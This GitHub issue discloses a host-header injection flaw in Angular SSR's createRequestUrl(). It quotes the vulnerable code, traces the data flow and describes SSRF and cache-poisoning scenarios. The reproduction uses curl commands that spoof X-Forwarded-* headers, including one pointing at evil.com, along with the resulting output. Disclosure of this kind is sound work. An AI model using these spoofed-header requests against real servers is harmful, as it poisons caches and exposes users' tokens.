Skip to content

[@angular/ssr] Unvalidated X-Forwarded-* headers in createRequestUrl() lead to SSRF and Cache Poisoning #32528

@VenkatKwest

Description

@VenkatKwest

Command

build, other

Is this a regression?

  • Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

Description

Note

I have checked the official documentation, and there is no mention of allowedHosts equivalents or related configurations to prevent this in production SSR. If this behavior is already known or intentional, please feel free to close this report.

Important

While modern reverse proxies (e.g., Nginx, AWS ALB, Cloudflare) typically strip or override the X-Forwarded-Host header—mitigating direct host injection—they generally do not strip X-Forwarded-Port or X-Forwarded-Proto. This means an attacker can still exploit these unvalidated headers to poison CDN/proxy caches, even behind a properly configured reverse proxy.

createRequestUrl() in packages/angular/ssr/node/src/request.ts blindly trusts the X-Forwarded-Host, X-Forwarded-Proto, and X-Forwarded-Port headers when constructing the application's base URL during Server-Side Rendering. This allows an attacker to poison the DOCUMENT token and document.location object, leading to SSRF, Host Header Injection, SEO/Cache Poisoning, and Cache Poisoning DoS.

Note: This only affects the production server (node dist/.../server/server.mjs), NOT the dev server (ng serve). Vite's host-check-middleware correctly validates the Host header in dev mode.

What happens:

  1. createRequestUrl() reads X-Forwarded-Host, X-Forwarded-Proto, and X-Forwarded-Port headers
  2. It constructs a URL object from these values with no validation or allowlist check
  3. This URL backs document.location in the SSR context
  4. Any application code using document.location.origin (e.g., for API calls, canonical URLs, OAuth callbacks) uses the attacker-controlled value

Root cause (request.tscreateRequestUrl()):

const protocol =
  getFirstHeaderValue(headers['x-forwarded-proto']) ??
  ('encrypted' in socket && socket.encrypted ? 'https' : 'http');
const hostname =
  getFirstHeaderValue(headers['x-forwarded-host']) ?? headers.host ?? headers[':authority'];

let hostnameWithPort = hostname;
if (!hostname?.includes(':')) {
  const port = getFirstHeaderValue(headers['x-forwarded-port']);
  if (port) {
    hostnameWithPort += `:${port}`;
  }
}

// No validation of 'hostname' or 'protocol'
return new URL(`${protocol}://${hostnameWithPort}${originalUrl ?? url}`);

getFirstHeaderValue() simply splits on , and returns the first trimmed value — it performs no validation or sanitization.

Data flow from header to application code:

  1. createRequestUrl() → poisoned URL from X-Forwarded-* headers
  2. createWebRequestFromNodeRequest() → Web Request with poisoned URL
  3. AngularNodeAppEngine.handle() → passes to AngularAppEngine
  4. AngularServerApp.handle() → extracts request.url, passes to renderAngular()
  5. renderAngular() → injects as INITIAL_CONFIG.url into platformServer()
  6. ServerPlatformLocation → backs document.location
  7. Application code reads document.location.originattacker-controlled

Attack scenarios:

  • SSRF: App code like this.http.get(${doc.location.origin}/api/data) sends the request to the attacker's server, leaking cookies/tokens
  • SEO Poisoning: <link rel="canonical" href="${doc.location.href}"> renders with attacker's domain
  • Cache Poisoning DoS via X-Forwarded-Proto: curl -H "X-Forwarded-Proto: ftp" https://target.com/ → CDN caches HTML with ftp:// URLs → page breaks for all users
  • Cache Poisoning DoS via X-Forwarded-Port: curl -H "X-Forwarded-Port: 9999" https://target.com/ → CDN caches HTML with port 9999 URLs → assets fail to load for all users

Suggested fix:
Validate the host against a flexible allowlist (similar to the dev server's allowedHosts), or only trust X-Forwarded-* headers when explicit trust is configured (e.g., via a trustedProxies option in AngularNodeAppEngine).

Minimal Reproduction

Step 1: Create a new Angular SSR app

npx -y @angular/cli@latest new vuln-test-app --ssr --defaults

Step 2: Force runtime SSR in src/app/app.routes.server.ts (static prerendering masks the issue):

import { RenderMode, ServerRoute } from '@angular/ssr';

export const serverRoutes: ServerRoute[] = [{ path: '**', renderMode: RenderMode.Server }];

Step 3: Instrument the component in src/app/app.component.ts:

import { DOCUMENT } from '@angular/common';
import { Component, inject } from '@angular/core';

@Component({
  selector: 'app-root',
  template: `<h1>Origin: {{ origin }}</h1>`,
})
export class AppComponent {
  doc = inject(DOCUMENT);
  origin = this.doc.location.origin;
}

Step 4: Build and run the production server:

npm run build
node dist/vuln-test-app/server/server.mjs

Step 5: Send a request with a spoofed header:

curl -v -H "X-Forwarded-Host: evil.com" http://localhost:4000/

Expected behavior:
The server should either reject untrusted X-Forwarded-* headers or validate them against an allowlist. document.location.origin should reflect the actual server host (localhost:4000), not the spoofed header value.

Actual behavior:
The rendered HTML contains <h1>Origin: http://evil.com</h1>. The attacker fully controls document.location.origin during SSR via a single spoofed header.

Additional proof — protocol and port poisoning:

# Protocol poisoning
curl -v -H "X-Forwarded-Proto: ftp" http://localhost:4000/
# → origin becomes ftp://localhost:4000

# Port poisoning
curl -v -H "X-Forwarded-Port: 9999" http://localhost:4000/
# → origin becomes http://localhost:9999

Exception or Error

No exception. The server responds normally with HTTP 200, but the SSR-rendered HTML contains attacker-controlled values in `document.location`, which poisons any application logic that relies on the origin:


HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8

...<h1>Origin: http://evil.com</h1>...

Your Environment

Angular CLI: 21.1.4
Node: 25.6.0
Package Manager: npm 11.3.0
OS: Windows 11

Angular: 21.1.4
@angular/ssr: 21.1.4

Package                      Version
------------------------------------------------------
@angular-devkit/architect    0.2101.4
@angular-devkit/build-angular 21.1.4
@angular-devkit/core         21.1.4
@angular-devkit/schematics   21.1.4
@angular/cli                 21.1.4
@schematics/angular          21.1.4

Anything else relevant?

  • Only production builds are affected. The dev server (ng serve / Vite) has host-check-middleware that validates headers — it is NOT vulnerable.
  • The vulnerable function is createRequestUrl() in packages/angular/ssr/node/src/request.ts.
  • The X-Forwarded-Host/Proto/Port headers are commonly set by reverse proxies (Nginx, HAProxy, AWS ALB, Kubernetes Ingress). Without validation, any client can spoof these headers when traffic reaches the Angular server directly or through a misconfigured proxy.
  • Cache Poisoning amplifies the impact: CDNs compute cache keys from Host + path but do NOT include X-Forwarded-Proto or X-Forwarded-Port. A single poisoned request can break the page for ALL subsequent users until the cache expires.
  • Temporary mitigation for developers: Add host validation middleware in server.ts before the Angular engine:
    const allowedHosts = ['mysite.com', 'localhost'];
    app.use((req, res, next) => {
      const host = req.headers['x-forwarded-host'] || req.headers.host;
      if (!allowedHosts.includes(host)) {
        return res.status(400).send('Invalid Host');
      }
      next();
    });

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions